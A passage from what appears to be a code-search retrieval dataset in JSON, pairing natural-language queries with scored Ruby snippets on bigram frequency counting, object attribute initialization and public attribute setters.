"text": "def score\n @score ||= phonetic_levenshtein_distance + penalties\n end",
"title": ""
},
{
"docid": "dce4e20dc5e53c16d35c81e925622bea",
"score": "0.56172067",
"text": "def most_frequent_bigram(str)\n sub_str_arr = []\n bigram_count = Hash.new(0)\n str.each_char.with_index do |char,idx|\n if idx+1 != nil && str[idx..idx+1].length ==2\n sub_str_arr << str[idx..idx+1]\n end\n end\n sub_str_arr.each {|bigram| bigram_count[bigram]+=1}\n \n sorted = bigram_count.sort_by {|key,value| value}\n sorted [-1][0]\n\n\nend",
"title": ""
},
{
"docid": "eaeae27c733fd4119d268dacfc2ab139",
"score": "0.55966276",
"text": "def most_frequent_bigram(str)\n#grab substrings of length 2\n#hash that contains the substring\n#return key with max value \n\n bigrams = Hash.new(0)\n str.each_char.with_index do |char, i|\n bigrams[str[i..i+1]] += 1 if i + 1 < str.length\n end\n bigrams.max_by { |k,v| v }.first\nend",
"title": ""
},
{
"docid": "a02a3bfc93e68790db8e7f451cfaae62",
"score": "0.55929476",
"text": "def most_frequent_bigram(str)\n bigrams = Hash.new(0)\n (0...str.length-1).each{|i| bigrams[ str[i..i+1] ] += 1}\n max = bigrams.first[0] # Hash#first returns first key value pair in an array\n bigrams.each {|key,val| max = key if val > bigrams[max]}\n # bigrams.sort_by{|b, v| v}.last[0]\n max\nend",
"title": ""
},
{
"docid": "bf70567dcccad2763b63af303198c873",
"score": "0.5587389",
"text": "def ngram_analysis(str, n)\r\n # use a hash to store ngram - frequency mapping\r\n freq = Hash.new\r\n bigram = \"\"\r\n count = n-1\r\n i = 0\r\n\r\n # get the first ngram\r\n for i in 0..count\r\n bigram[i] = str[i]\r\n end\r\n\r\n freq[bigram] = 1\r\n\r\n str.each_char do |char|\r\n if i>=n then\r\n\r\n # bigram, trigram or quadrigram?\r\n bigram[0] = bigram[1]\r\n if n==2 then\r\n bigram[1] = char\r\n elsif n==3 then\r\n bigram[1] = bigram[2]\r\n bigram[2] = char\r\n elsif n==4 then\r\n bigram[1] = bigram[2]\r\n bigram[2] = bigram[3]\r\n bigram[3] = char\r\n end\r\n\r\n # updates values in the hash\r\n if freq.key?(bigram)==false then\r\n freq[bigram] = 1\r\n else \r\n freq[bigram] = freq[bigram]+1\r\n end\r\n\r\n end\r\n i = i + 1\r\n end\r\n\r\n # sort and print\r\n freq = freq.sort_by {|_key, value| value}.reverse.to_h\r\n i=0\r\n puts \"N-gram Analysis Results:\"\r\n freq.each do |key, value|\r\n if value!=1 && i<20 then\r\n puts key.to_s+\"\\t\"+value.to_s\r\n end\r\n i = i + 1\r\n end\r\nend",
"title": ""
},
{
"docid": "eb43c89e0cd3724a494b60db9f9857a4",
"score": "0.55819714",
"text": "def most_frequent_bigram(str)\n hash = Hash.new(0)\n\n str.each_char.with_index do |char, i|\n if i != str.length - 1\n bigram = char + str[i + 1]\n end\n hash[bigram] += 1\n end\n most_frequent = hash.values.max\n hash.each { |k, v| return k if v == most_frequent}\n\nend",
"title": ""
},
{
"docid": "77e8d75844efe7d829114fac64df6354",
"score": "0.55800414",
"text": "def frequency(text)\n text = text.downcase.gsub(/\\s*/, '')\n chars = text.split('')\n freqs = Hash[('a'..'z').to_a.zip([0] * 26)]\n\n chars.each { |c| freqs[c] += 1 }\n\n freqs\n end",
"title": ""
},
{
"docid": "b76c1363053b081355fba3380390f7cb",
"score": "0.5577533",
"text": "def most_frequent_bigram(str)\n most_frequent_bigram = Hash.new(0)\n\n str.each_char.with_index do |char, index|\n bigram = \"#{char}#{str[index + 1]}\"\n most_frequent_bigram[bigram] += 1\n end\n\n max_count = most_frequent_bigram.sort_by {|k, v| v}\n max_count[-1][0]\nend",
"title": ""
},
{
"docid": "25e6e8103679358b310ce3d140a7f93d",
"score": "0.55715036",
"text": "def fragment_commonality(fragment)\n probability_of_ngrams(common_ngrams_from_fragment(fragment))\n end",
"title": ""
},
{
"docid": "27786f1396a514bb6aba9fedf2278e95",
"score": "0.5570117",
"text": "def grams\n gram_equivalent / amount\n end",
"title": ""
},
{
"docid": "797b1010aed9b879c6f10b49036166c8",
"score": "0.5560356",
"text": "def most_frequent_bigram(str)\n hash = Hash.new(0)\n str.each_char.with_index {|c, i| hash[c + str[i+1]] += 1 if str[i + 1]}\n hash.key(hash.values.max)\nend",
"title": ""
},
{
"docid": "50b197899e31d3200bcebd676fa4f05c",
"score": "0.5555435",
"text": "def term_frequency(document, term)\n tf = document.term_count(term)\n if @function == :bm25\n (tf * 2.2) / (tf + 0.3 + 0.9 * documents.size / @model.average_document_size)\n else\n sqrt(tf)\n end\n end",
"title": ""
},
{
"docid": "209a60d676887ad126bab52338aaa449",
"score": "0.5552366",
"text": "def most_frequent_bigram(str)\n adjacent_letter={}\n letter=\"\"\n (0...str.length-1).each do |i|\n letter=str[i]+str[i+1]\n if adjacent_letter.has_key?(letter)\n adjacent_letter[letter]+=1\n else\n adjacent_letter[letter]=1\n end\n end\n\n max=0\n max_aj=\"\"\n adjacent_letter.each do |k,v|\n if v>max\n max=v\n max_aj=k\n end\n end\n max_aj\n\n\nend",
"title": ""
},
{
"docid": "404fb8b48ebc34360169542543a9bb0d",
"score": "0.5550079",
"text": "def get_sentence_progresses\n if @all_sentence_count > 0\n @progress_sentence_ch = 100 * @memorized_sentence_count_ch / @all_sentence_count\n @progress_sentence_ja = 100 * @memorized_sentence_count_ja / @all_sentence_count\n else\n @progress_sentence_ch = 0\n @progress_sentence_ja = 0\n end\n end",
"title": ""
},
{
"docid": "52635b5705866eff3613f1cba9ce04e8",
"score": "0.55496424",
"text": "def probabilities_for(ngrams)\n table = {}\n\n ngrams.each do |ngram|\n table[ngram] = probability_of_ngram(ngram)\n end\n\n return table\n end",
"title": ""
},
{
"docid": "1befbe38d22d7705aaeb4acbf298c6eb",
"score": "0.55377394",
"text": "def popularity_boost\n return 0 if word_datas.empty?\n\n rare_words = word_datas.select { |data| data[:rarity] }\n return 0 if rare_words.empty?\n\n # 0-1 score for popularity\n # Then divide it by 0-1 for word length\n boosts = rare_words.map do |word|\n 1 - Math.log(word[:rarity] + 1, 60_000)\n end\n boosts.reduce(0, &:+)\n end",
"title": ""
},
{
"docid": "a9acda7146171e94632be852de1cc30e",
"score": "0.55352867",
"text": "def has_gram?(gram)\n @frequencies.has_key?(gram)\n end",
"title": ""
},
{
"docid": "c45378cc9962f9dc319d8a099008a9dd",
"score": "0.5533176",
"text": "def score_freq(cs)\n \" eta\".each_char.map { |c| cs.index(c) || 9999 }.reduce(&:+)\nend",
"title": ""
},
{
"docid": "e4999663ca30fc459c6093d72f2ef2ba",
"score": "0.55292755",
"text": "def percentages\n @_percentages ||= words.each_with_object({}) do |word_count, hash|\n hash[word_count.first] = percentage(word_count.last)\n end\n end",
"title": ""
},
{
"docid": "d8ef8ab7b17fc2e8680928bc2132c9a4",
"score": "0.55235726",
"text": "def most_frequent_bigram(str)\n hash = Hash.new(0)\n str.each_char.with_index do |char, idx|\n key = char + str[idx + 1] if idx < str.length - 1\n hash[key] += 1\n end\n\n hash.key(hash.values.max)\nend",
"title": ""
},
{
"docid": "21d906cee9234ce2dec5e3c319060098",
"score": "0.5521859",
"text": "def score_title title, freq_list\n title\n .split\n .map{|word| is_initialism(word) ? 4 : score_for_frequency(freq_list[sanitize word])}\n .inject(:+)\n end",
"title": ""
},
{
"docid": "ff3cf494f0d4b7f1676617af56fa6e23",
"score": "0.5518092",
"text": "def phonetic_coverage\n 1 - phones_in_word_list/@initial_phones.to_f\n end",
"title": ""
},
{
"docid": "997896be8b6f80d327ba109cbbc79fcb",
"score": "0.551356",
"text": "def count(gram)\n @dirty = true\n\n unless @frequencies.has_key?(gram)\n @frequencies[gram] = 0\n end\n\n return @frequencies[gram] += 1\n end",
"title": ""
},
{
"docid": "019858de8d3fb44552747c9bfb905462",
"score": "0.55128646",
"text": "def most_frequent_bigram(str)\n counter = Hash.new(0)\n (0...str.length-1).each { |i| counter[str[i] + str[i+1]] += 1 }\n sorted = counter.sort_by { |k, v| v }\n sorted[-1][0]\nend",
"title": ""
}
] |
06557e61c0e22401f5f46e5ee4631479 | Initializes the object state prior to attribute processing; this is called only from construct_document. | [
{
"docid": "6bcc7de7e028ecfb3d447759196bbc3b",
"score": "0.6599029",
"text": "def prepare_to_process_attributes\n @new_record = true\n @attributes ||= {}\n apply_pre_processed_defaults\n apply_default_scoping\n end",
"title": ""
}
] | [
{
"docid": "4b57fca5c0a368895d48b9d56636212c",
"score": "0.7152199",
"text": "def init_attr\r\n end",
"title": ""
},
{
"docid": "991bee07aa9b9bf76f7c860030636367",
"score": "0.71063316",
"text": "def pre_initialize\n end",
"title": ""
},
{
"docid": "b8054791e1af76f29e01e4ffe01c649d",
"score": "0.6961529",
"text": "def process_init\n super()\n\n @cur_state = ''\n @cur_rec_area = ''\n @cur_rec_area_id = ''\n end",
"title": ""
},
{
"docid": "816d30649137c3ff68c3b0da225256ef",
"score": "0.6870727",
"text": "def initialize\n @attrs = {}\n end",
"title": ""
},
{
"docid": "6550c1887fe3e084e2425fad3012b3b5",
"score": "0.6861244",
"text": "def pre_initialize ; end",
"title": ""
},
{
"docid": "6550c1887fe3e084e2425fad3012b3b5",
"score": "0.6861244",
"text": "def pre_initialize ; end",
"title": ""
},
{
"docid": "39bd119694bf7c8d702a855c705dee71",
"score": "0.6804388",
"text": "def initialize(attrs = nil)\n _building do\n @new_record = true\n @attributes ||= {}\n with(self.class.persistence_options)\n apply_pre_processed_defaults\n apply_default_scoping\n process_attributes(attrs) do\n yield(self) if block_given?\n end\n apply_post_processed_defaults\n # @todo: #2586: Need to have access to parent document in these\n # callbacks.\n run_callbacks(:initialize) unless _initialize_callbacks.empty?\n end\n end",
"title": ""
},
{
"docid": "5ce6df07c3f5a76097f7368742063ce8",
"score": "0.68005437",
"text": "def initialize(attrs = {})\n before_initialize\n\n _attributes_update!(attrs)\n\n after_initialize\n end",
"title": ""
},
{
"docid": "c658a13b07c2fbbdbf9037b6b018e87f",
"score": "0.6763811",
"text": "def initialize()\n super()\n reset_props()\n end",
"title": ""
},
{
"docid": "78a3bbb2d932492fdc8c30ed19b19ab8",
"score": "0.6748485",
"text": "def initialize attributes={}\r\n super\r\n run_callbacks :initialize do\r\n # => Needed for after_initialize\r\n end\r\n end",
"title": ""
},
{
"docid": "c7a523b55493f937a65b1cc7a555d8ab",
"score": "0.6707426",
"text": "def post_initialize\n end",
"title": ""
},
{
"docid": "5956f9ecadd346993fd37f14c84365ad",
"score": "0.6679318",
"text": "def before_initialize(attributes); end",
"title": ""
},
{
"docid": "f4c2a78102125a34b034b5f4a0ddd8d6",
"score": "0.6562796",
"text": "def initialize\n @attributes = {}\n end",
"title": ""
},
{
"docid": "6ba4310656d3b5083ef3555a88142523",
"score": "0.6536721",
"text": "def init_internals\n @new_record = true\n @attributes = {}\n @persisted_id = nil\n @trashed = false\n end",
"title": ""
},
{
"docid": "a747cf4388fb3d14718cf9dda73c555f",
"score": "0.65181047",
"text": "def initalize; end",
"title": ""
},
{
"docid": "a747cf4388fb3d14718cf9dda73c555f",
"score": "0.65181047",
"text": "def initalize; end",
"title": ""
},
{
"docid": "bb79e48ad626ff79d61eb9700924af9b",
"score": "0.6517176",
"text": "def initialize(init={})\n # Translate initialization data keys to symbols: handles raw tainted input from foreman\n init = init.map{|k, v| [k.to_sym, v]}.to_h\n # Select whitelisted attributes from the initial data\n @attributes = init.select{|attr| self.class.attributes_get.include?(attr)}\n # Set instance defaults\n @modified = false\n @managed = false\n @created = false\n end",
"title": ""
},
{
"docid": "2e85427b3a16c44b307a0786400a5607",
"score": "0.6510489",
"text": "def post_initialize\n #\n end",
"title": ""
},
{
"docid": "6fcaad4cd3d6d7373456ecf5d4922ca3",
"score": "0.65030724",
"text": "def init\n # initialization code:\n end",
"title": ""
},
{
"docid": "47506f7df0a394e8806591852c211885",
"score": "0.64918035",
"text": "def post_initialize ; end",
"title": ""
},
{
"docid": "47506f7df0a394e8806591852c211885",
"score": "0.64918035",
"text": "def post_initialize ; end",
"title": ""
},
{
"docid": "0958f0c628fa812df93c377868d10824",
"score": "0.6491072",
"text": "def initialize_attrs\n @copyable_attrs = {}\n @schema_attrs = {}\n end",
"title": ""
},
{
"docid": "39b822cf5001c5736ccf64ea9891f8e7",
"score": "0.64854974",
"text": "def post_initialize; end",
"title": ""
},
{
"docid": "39b822cf5001c5736ccf64ea9891f8e7",
"score": "0.64854974",
"text": "def post_initialize; end",
"title": ""
},
{
"docid": "7c8578c0f718cc8ef299268a8ee6dc60",
"score": "0.64827937",
"text": "def process_init\n end",
"title": ""
},
{
"docid": "fec4ee38380924b06580ebf1137d6d95",
"score": "0.6480844",
"text": "def initialize\n\t\tself.initializeObject\n\tend",
"title": ""
},
{
"docid": "fd81ddbfe28625db1deec0cfa62b873d",
"score": "0.647329",
"text": "def initialize\n reset!\n end",
"title": ""
},
{
"docid": "262d1aa18bcb697211cd9aa6a117edec",
"score": "0.6461204",
"text": "def post_init\n end",
"title": ""
},
{
"docid": "55b4a8f84faacbc5cdd521928034a7f4",
"score": "0.64502054",
"text": "def initialize(document)\n @document, @parent = document, document._parent\n @insert_modifier, @delete_modifier =\"$set\", \"$unset\"\n end",
"title": ""
},
{
"docid": "0bb8b65c4dc3328b8e64fa7e514cf944",
"score": "0.644939",
"text": "def initialize attributes = {}\n @attributes = {}\n\n _run_initialize_callbacks do\n self.attributes = attributes\n end\n end",
"title": ""
},
{
"docid": "b6be0f539557c249194c905f589a7f23",
"score": "0.6420563",
"text": "def initialize\n reset\n end",
"title": ""
},
{
"docid": "2f30e53011f4ea2112c62bac4c3e7c7e",
"score": "0.64180374",
"text": "def initialize\n reset!\n end",
"title": ""
},
{
"docid": "2f30e53011f4ea2112c62bac4c3e7c7e",
"score": "0.64180374",
"text": "def initialize\n reset!\n end",
"title": ""
},
{
"docid": "2f30e53011f4ea2112c62bac4c3e7c7e",
"score": "0.64180374",
"text": "def initialize\n reset!\n end",
"title": ""
},
{
"docid": "4ba8a653144e0b2e0578db97745aa433",
"score": "0.6400096",
"text": "def at_init\n\t\t\n\t\tend",
"title": ""
},
{
"docid": "1cb7ecf6e4b1416d1b2dede4d312ea77",
"score": "0.6397327",
"text": "def initialize\n @document_id = -1\n @set_name = 'undefined'\n @branch_name = 'undefined'\n @valid = false\n @productIdentifier = nil\n end",
"title": ""
},
{
"docid": "3428aa2ab2064c86c56b8b5e4691e9b9",
"score": "0.63956",
"text": "def initialize_attributes(attributes); end",
"title": ""
},
{
"docid": "5edac9eb313dd2d82caf4151ca49e7b0",
"score": "0.6393067",
"text": "def post_init\n end",
"title": ""
},
{
"docid": "ae526a7c7e6b1343f593e4712dd51630",
"score": "0.6371835",
"text": "def initalize\n end",
"title": ""
},
{
"docid": "70bf8cb295fdc2050998983b54d334dd",
"score": "0.6356757",
"text": "def init\n end",
"title": ""
},
{
"docid": "2fc9a9460b1ec7b72a43b9fb74cb9930",
"score": "0.63379455",
"text": "def post_initialize\n end",
"title": ""
},
{
"docid": "2fc9a9460b1ec7b72a43b9fb74cb9930",
"score": "0.63379455",
"text": "def post_initialize\n end",
"title": ""
},
{
"docid": "2fc9a9460b1ec7b72a43b9fb74cb9930",
"score": "0.63379455",
"text": "def post_initialize\n end",
"title": ""
},
{
"docid": "6da11b6018e9420a7480010c070c9965",
"score": "0.63363224",
"text": "def post_init; end",
"title": ""
},
{
"docid": "6da11b6018e9420a7480010c070c9965",
"score": "0.63363224",
"text": "def post_init; end",
"title": ""
},
{
"docid": "6da11b6018e9420a7480010c070c9965",
"score": "0.63363224",
"text": "def post_init; end",
"title": ""
},
{
"docid": "b0c703041d2fe733aeaae18cb484d1c5",
"score": "0.6328313",
"text": "def initialize\n reset()\n end",
"title": ""
},
{
"docid": "6f65bd00c461e5f7be135662360ad9cf",
"score": "0.6313586",
"text": "def initialize\n class <<self\n self\n end.class_eval do\n attr_accessor *@@attr\n end\n end",
"title": ""
},
{
"docid": "5cd9b075c48428e549097077b31970d2",
"score": "0.63125324",
"text": "def post_init\n super\n #type of parser carries the state, no need to carry it internally and do\n #zillions of state check\n @parser = nil\n replace_parser! IDParser\n @request_queue = []\n end",
"title": ""
},
{
"docid": "4a5246ea615f4798e2d695d2984d0527",
"score": "0.6305017",
"text": "def before_initialize\n end",
"title": ""
},
{
"docid": "4124da76d38b6c6d2dec4ec865cf91f9",
"score": "0.6282133",
"text": "def initialize attributes\r\n\t\tsuper\r\n\t\tself.actable_type = \"PredictedInvoice\"\r\n\t\tself.total = 0\r\n\t\tgenerateConcreteCharges\r\n\t\tself.id = nil\r\n\tend",
"title": ""
},
{
"docid": "07c2bfe52667658e13e7354d58d84f58",
"score": "0.62487996",
"text": "def initialize attributes\n\t\tsuper\n\t\tself.actable_type = \"PredictedInvoice\"\n\t\tself.total = 0\n\t\tgenerateConcreteCharges\n\t\tself.id = nil\n\tend",
"title": ""
},
{
"docid": "e3faf34d574087c4a7b4a2805a110957",
"score": "0.6246756",
"text": "def init() \n @attrList = Hash::new ;\n end",
"title": ""
},
{
"docid": "95d851c474ebbe1ebcdb01a68b01723c",
"score": "0.623582",
"text": "def post_initialize\n @accounting_lines.parent = self # Necessary for initializing the cascading parent attribute\n super_post_initialize # We're calling #super after because setting the parent attribute first is very important.\n end",
"title": ""
},
{
"docid": "a3e329e0268db7585a7bbd600993dd42",
"score": "0.62307",
"text": "def init\n #Override in subclass\n end",
"title": ""
},
{
"docid": "a3e329e0268db7585a7bbd600993dd42",
"score": "0.62307",
"text": "def init\n #Override in subclass\n end",
"title": ""
},
{
"docid": "a3e329e0268db7585a7bbd600993dd42",
"score": "0.62307",
"text": "def init\n #Override in subclass\n end",
"title": ""
},
{
"docid": "17e688683c2f2cee33e5091cbb609b81",
"score": "0.6228831",
"text": "def initialize_attributes(record)\n super\n container_association.initialize_attributes(record)\n end",
"title": ""
},
{
"docid": "893efc14005f8bd1e45efa8949b9d66c",
"score": "0.6225176",
"text": "def initialize(attributes = {})\n super\n calculate_attributes\n end",
"title": ""
},
{
"docid": "9e9bec5ee2824f16916dc266723bb66c",
"score": "0.6223344",
"text": "def initialize\n reset\n end",
"title": ""
},
{
"docid": "9e9bec5ee2824f16916dc266723bb66c",
"score": "0.6223344",
"text": "def initialize\n reset\n end",
"title": ""
},
{
"docid": "9e9bec5ee2824f16916dc266723bb66c",
"score": "0.6223344",
"text": "def initialize\n reset\n end",
"title": ""
},
{
"docid": "9e9bec5ee2824f16916dc266723bb66c",
"score": "0.6223344",
"text": "def initialize\n reset\n end",
"title": ""
},
{
"docid": "9e9bec5ee2824f16916dc266723bb66c",
"score": "0.6223344",
"text": "def initialize\n reset\n end",
"title": ""
},
{
"docid": "73d8fd895a75b55a07597cbfe0ea1c7c",
"score": "0.6218694",
"text": "def init\n \n end",
"title": ""
},
{
"docid": "73d8fd895a75b55a07597cbfe0ea1c7c",
"score": "0.6218694",
"text": "def init\n \n end",
"title": ""
},
{
"docid": "0aeec454042d8afdbc4c5dce4f2dd4fd",
"score": "0.61935806",
"text": "def modelitem_init\n @comments = AuthoredComments.new\n @tags = TagList.new\n # NOTE: @properties is created lazily\n @properties = nil\n @parent_obj = nil\n end",
"title": ""
},
{
"docid": "11db6cc765bb8fcf4e7075dd9c3e0471",
"score": "0.6185963",
"text": "def initialize()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "5f441897ba7dab5cb062466650c4a61a",
"score": "0.61845905",
"text": "def initialize raw_header\n super\n\n @attributes = {}\n parse_attributes!\n end",
"title": ""
},
{
"docid": "fb7973181cfc15d79aedc29571407aea",
"score": "0.6177649",
"text": "def initialize\n # Each attribute has a default value (possibly nil). Here, we\n # initialize all attributes to their default value. This is done\n # through the accessor methods, so special behaviours will be honored.\n # Furthermore, we take a _copy_ of the default so each specification\n # instance has its own empty\n # arrays, etc.\n @@attributes.each do |name, default|\n self.send \"#{name}=\", copy_of(default)\n end\n @loaded = false\n @@list << self\n yield self if block_given?\n @@gather.call(self) if @@gather\n end",
"title": ""
},
{
"docid": "d857875aaa7645b0cdb0ec0d34091c64",
"score": "0.6169689",
"text": "def after_initialize\n @type = :document\n end",
"title": ""
},
{
"docid": "1a81945741feb7ee102e6f450c79c051",
"score": "0.61640245",
"text": "def post_initialize\n nil\n end",
"title": ""
},
{
"docid": "4033393fcc1c6a99c9a5ae472ddec937",
"score": "0.6159893",
"text": "def init\n end",
"title": ""
},
{
"docid": "4033393fcc1c6a99c9a5ae472ddec937",
"score": "0.6159893",
"text": "def init\n end",
"title": ""
},
{
"docid": "4033393fcc1c6a99c9a5ae472ddec937",
"score": "0.6159893",
"text": "def init\n end",
"title": ""
},
{
"docid": "4033393fcc1c6a99c9a5ae472ddec937",
"score": "0.6159893",
"text": "def init\n end",
"title": ""
},
{
"docid": "4033393fcc1c6a99c9a5ae472ddec937",
"score": "0.6159893",
"text": "def init\n end",
"title": ""
},
{
"docid": "b8c55da233cbe67465f743a97007d7b5",
"score": "0.6154402",
"text": "def initialize\n @documents = {modules: [], classes: [], constructors: [], \n methods: [], properties: []}\n end",
"title": ""
},
{
"docid": "5a6476e7a00b11faeb9e60a1a31662f7",
"score": "0.6154132",
"text": "def initialize\n baseInit\n end",
"title": ""
},
{
"docid": "413eb7a7781383c931819b4af16b7ad0",
"score": "0.61482435",
"text": "def initialize\n \n end",
"title": ""
},
{
"docid": "413eb7a7781383c931819b4af16b7ad0",
"score": "0.61482435",
"text": "def initialize\n \n end",
"title": ""
},
{
"docid": "748bd7b5149abf972e7b72dfbb61e623",
"score": "0.61447614",
"text": "def initialize\t\n\t\tend",
"title": ""
},
{
"docid": "feb0ec8ec3654442fbde4a66faaf7481",
"score": "0.6137003",
"text": "def initialize()\n\t\tself.headers = Header.new\n\t\tself.auto_cl = true\n\n\t\treset\n\tend",
"title": ""
},
{
"docid": "271e5ea40e5f947f7167f77d90de09bb",
"score": "0.613485",
"text": "def initialize\n reset!\n end",
"title": ""
},
{
"docid": "271e5ea40e5f947f7167f77d90de09bb",
"score": "0.613485",
"text": "def initialize\n reset!\n end",
"title": ""
},
{
"docid": "271e5ea40e5f947f7167f77d90de09bb",
"score": "0.613485",
"text": "def initialize\n reset!\n end",
"title": ""
},
{
"docid": "5944a040b6150bf92ab7ee5a7a578424",
"score": "0.61346006",
"text": "def initialize\n\t\treset\n\tend",
"title": ""
},
{
"docid": "32889a365930756c7cd9e9bcb52c6120",
"score": "0.6131577",
"text": "def process_init\n super()\n\n # if the format is :name, we don't need the details\n\n self.parser.options[:show_details] = false if self.parser.options[:format] == :name\n\n @cur_state = ''\n @cur_forest = ''\n end",
"title": ""
},
{
"docid": "42dff1d7eebf1097b274bd669dd52633",
"score": "0.6125439",
"text": "def post_init\n end",
"title": ""
},
{
"docid": "42dff1d7eebf1097b274bd669dd52633",
"score": "0.6125439",
"text": "def post_init\n end",
"title": ""
},
{
"docid": "3126fced137a3cdd6020dff495c9723d",
"score": "0.6125395",
"text": "def initialize(attrs = nil)\n @new_record = true\n super\n attrs.keys.each{ |k| set_loaded(k) } if attrs\n end",
"title": ""
},
{
"docid": "efcf174b9b6a6a1d00205435351e1df0",
"score": "0.61204004",
"text": "def post_initialize\n @asset_location_lines.parent = self # Necessary for initializing the cascading parent attribute\n super_post_initialize # We're calling #super after because setting the parent attribute first is very important.\n end",
"title": ""
},
{
"docid": "a2733c2869eba629c2df2b14f5ac4fcf",
"score": "0.61178124",
"text": "def post_initialize\n end",
"title": ""
},
{
"docid": "25445e633a0cb1e7f3857a465a52c141",
"score": "0.6117536",
"text": "def initialize(document)\n @document, @path, @position = document, \"\", \"\"\n end",
"title": ""
},
{
"docid": "25445e633a0cb1e7f3857a465a52c141",
"score": "0.6117536",
"text": "def initialize(document)\n @document, @path, @position = document, \"\", \"\"\n end",
"title": ""
},
{
"docid": "37b6b2d1dd11131d0b45d3b62d36e798",
"score": "0.6116318",
"text": "def initialize\n @am = AttributeManager.new\n @output = nil\n end",
"title": ""
},
{
"docid": "30db4e5d165a6098d1aeb8f8dd7b66e8",
"score": "0.6114941",
"text": "def initialize() end",
"title": ""
},
{
"docid": "30db4e5d165a6098d1aeb8f8dd7b66e8",
"score": "0.6114941",
"text": "def initialize() end",
"title": ""
},
{
"docid": "54a6d578905ca36fce1f2875117abb14",
"score": "0.6111126",
"text": "def init\n super\n end",
"title": ""
},
{
"docid": "7a3e4a81033cc02af0a5510ccfe98131",
"score": "0.60859686",
"text": "def post_initialize\n #\n end",
"title": ""
}
] |
7f376561f909519d005044211de4c5db | Sets the attribute public | [
{
"docid": "7bd5356eeef756cc47f27fed2b48f984",
"score": "0.61811304",
"text": "def public=(_arg0); end",
"title": ""
}
] | [
{
"docid": "95b74ccc3fcf401b277d361c5ff4fccb",
"score": "0.7590517",
"text": "def make_public\n update_attribute( :is_public, true )\n end",
"title": ""
},
{
"docid": "64dc611755c8adf6ae2f0dc9b7b0d982",
"score": "0.71637887",
"text": "def is_public=( f )\n self.update_item_flag = ( is_public != f )\n write_attribute( :is_public, f ) if self.update_item_flag\n end",
"title": ""
},
{
"docid": "56c6b6aa141056d4bde0fa5c00abd18d",
"score": "0.69676197",
"text": "def set_IsPublic(value)\n set_input(\"IsPublic\", value)\n end",
"title": ""
},
{
"docid": "56c6b6aa141056d4bde0fa5c00abd18d",
"score": "0.69676197",
"text": "def set_IsPublic(value)\n set_input(\"IsPublic\", value)\n end",
"title": ""
},
{
"docid": "baca52f15f0b8703d7e5ae0f9a5c0bef",
"score": "0.68591344",
"text": "def attr(symbol, writable=false) end",
"title": ""
},
{
"docid": "45d3b6704ec73d5086f5f6faf7bb0702",
"score": "0.66839963",
"text": "def attribute=(_arg0); end",
"title": ""
},
{
"docid": "45d3b6704ec73d5086f5f6faf7bb0702",
"score": "0.66839963",
"text": "def attribute=(_arg0); end",
"title": ""
},
{
"docid": "3a2b4e8b406dcdf9eebe87adb5b9f2fb",
"score": "0.6664097",
"text": "def private=(_); end",
"title": ""
},
{
"docid": "d508f29eea085d040ff4c00efa72b4ff",
"score": "0.66352004",
"text": "def set_attribute(name, value); end",
"title": ""
},
{
"docid": "656baae292ad6b5a050a3d2e119bee07",
"score": "0.6521094",
"text": "def public!\n self.status = Status::PUBLIC\n end",
"title": ""
},
{
"docid": "7e405854159890fe706b8b2b00815081",
"score": "0.6377157",
"text": "def set_private(data)\n res = super(self,data)\n return res\n end",
"title": ""
},
{
"docid": "ac55752dd9cc4f485a916c46d7b41237",
"score": "0.6275423",
"text": "def allowed_attributes=(_arg0); end",
"title": ""
},
{
"docid": "ac55752dd9cc4f485a916c46d7b41237",
"score": "0.6275423",
"text": "def allowed_attributes=(_arg0); end",
"title": ""
},
{
"docid": "587d7da9936a851354ca1232baf5b869",
"score": "0.6273939",
"text": "def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"title": ""
},
{
"docid": "661d49b44b559b934a36d22fe17312f1",
"score": "0.62521464",
"text": "def attr_writer(sym, *more) end",
"title": ""
},
{
"docid": "acfcc445f09c45958b397c24ab276335",
"score": "0.6247343",
"text": "def mutability=(value)\n @mutability = value\n end",
"title": ""
},
{
"docid": "2dc9c5d731b1a45848546ec81f8a4299",
"score": "0.6233691",
"text": "def attr; end",
"title": ""
},
{
"docid": "16ab54457c08bc755b2e674b691e327e",
"score": "0.6233212",
"text": "def set_public_private\n @public_private = PublicPrivate.find(params[:id])\n end",
"title": ""
},
{
"docid": "d31cd1049784f896fe2017f9eb7038a2",
"score": "0.62267077",
"text": "def attr_writer(name)\n meth = Rubinius::AccessVariable.set_ivar name\n @method_table.store \"#{name}=\".to_sym, meth, :public\n Rubinius::VM.reset_method_cache name\n nil\n end",
"title": ""
},
{
"docid": "346cbcea93a5ef9d99d20555603bd73a",
"score": "0.6204674",
"text": "def set_public(repo, options = {})\n # GitHub Api for setting private updated to use private attr, rather than public\n update_repository repo, options.merge({ :private => false })\n end",
"title": ""
},
{
"docid": "139259356275c9d13f118a06dbf0287f",
"score": "0.6185066",
"text": "def to_none\n self.public = true\n end",
"title": ""
},
{
"docid": "376d589c35eebfb52acf5cc70424fc10",
"score": "0.61589766",
"text": "def public_attribute?(name)\n self.class.public_attribute?(name)\n end",
"title": ""
},
{
"docid": "db3738c6bd543d0c6db8f21b4f216d1a",
"score": "0.6140944",
"text": "def publicize\n @access_control = 'public'\n end",
"title": ""
},
{
"docid": "e330d416d451ea11caf23f0f7217e545",
"score": "0.61393905",
"text": "def readonly! #:nodoc:\n @readonly = true\n end",
"title": ""
},
{
"docid": "f83585c863253d65d2672e25ead94086",
"score": "0.6129668",
"text": "def visibility= visibility\n case visibility\n when :all\n @visibility = :private\n else\n @visibility = visibility\n end\n end",
"title": ""
},
{
"docid": "47112fd96af12e0764c143a187a754db",
"score": "0.6106301",
"text": "def setAttribute(attributeName)\n @attributeName = attributeName\n end",
"title": ""
},
{
"docid": "863756c74e43ab4b6842039c73aa9399",
"score": "0.61011606",
"text": "def attributes=(params)\n params.each do |attr, value|\n public_send(\"#{attr}=\", value)\n end\n self\n end",
"title": ""
},
{
"docid": "2ba20e6e0794f1d5d6a18e2ccb4d70af",
"score": "0.60741043",
"text": "def set attr, to: value\n unless writable_attr? attr\n raise NoMethodError, \"#{attr} is read-only for #{inspect}\"\n end\n real_attr = attribute_for attr\n value = value.to_axvalue\n set real_attr, to: value, for: @ref\n value\n end",
"title": ""
},
{
"docid": "8283b1de573b6513575e739bf9eb83db",
"score": "0.60658526",
"text": "def attribute_to_set; end",
"title": ""
},
{
"docid": "939c844a3094745757c9425b73f29d68",
"score": "0.6059107",
"text": "def protected=(value)\n @protected = value\n end",
"title": ""
},
{
"docid": "b8d8a409ca8120989882bb0355ef3303",
"score": "0.60293275",
